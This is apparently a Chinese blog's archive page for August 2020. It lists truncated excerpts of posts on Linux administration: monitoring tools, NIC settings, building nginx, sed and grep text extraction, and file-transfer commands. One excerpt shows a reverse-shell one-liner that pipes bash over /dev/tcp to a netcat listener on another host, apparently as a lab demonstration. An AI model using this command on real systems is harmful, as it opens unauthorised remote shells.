08 2020 档案
摘要:[root@centos8 ~]#cat checks.sh #!/bin/bash #******************************************************************** #Author: wei #QQ: #Date: #FileName: c
阅读全文
摘要:pmap进程对应的内存映射,查看每个进程占用空间大小 trace 、ltrace 了解程序底层细节 虚拟内存信息vmstat iostat 统计CPU和设备IO信息 由sysstat包提供 dstat 系统资源统计由pcp-system-tools包提供 用于代替vmstat,iostat功能 io
阅读全文
摘要:shell脚本实现 #!/bin/bash #******************************************************************** #Author: wei #QQ: 1655841639 #Date: 2020-08-25 #FileName:
阅读全文
摘要:临时修改网卡 #ip link set eth0 up/down 启用/禁用网卡 #ethtool eth0 mii-tool eth0 查看网卡信息 #ip link set eth0 name abc 网卡名修改 #禁用网卡 ip link set eth1 down #网卡改名 ip link
阅读全文
摘要:[root@centos6 ~]#nc -l 666 #先开个终端 [root@centos8 ~]#bash -i &> /dev/tcp/10.0.0.6/666 0>&1 #在对方主机执行命令 #[root@centos8 ~]#hostname -I #可在对方主机上执行命令 hostnam
阅读全文
摘要:1.[root@centos8 ~]#wget https://github.com/abishekvashok/cmatrix/releases/download/v2.0/cmatrix-v2.0-Butterscotch.tar 2. [root@centos8 ~]#dnf -y insta
阅读全文
摘要:[root@centos8 ~]#cd /usr/local/src [root@centos8 src]#tar xvf nginx-1.19.1.tar.gz [root@centos8 src]#cd nginx-1.19.1 [root@centos8 nginx-1.19.1]#./con
阅读全文
摘要:Sed网卡取IP [root@centos8 ~]#ifconfig ens160|sed -n '2p'|sed 's/^.*inet //'|sed 's/ .*//' [root@centos8 ~]#ifconfig ens160|sed -rn '2s/^([^0-9]+)([0-9.]+
阅读全文
摘要:取出路径基名和目录名 #echo "/etc/rc.d/init.d/functions" | egrep -o '[^/]+/?$'|egrep -o '^[^/]+' #echo "/etc/rc.d/init.d/functions" | egrep -o '[^/]+/?$' #等于 bas
阅读全文
摘要:Linux下几种文件传输命令 sz rz sftp scp介绍 1.sftpSecure Ftp 是一个基于SSH安全协议的文件传输管理工具。由于它是基于SSH的,会在传输过程中对用户的密码、数据等敏感信息进行加密,因此可以有效的防止用户信息在传输的过程中被窃取,比FTP有更高的安全性。在功能方面与
阅读全文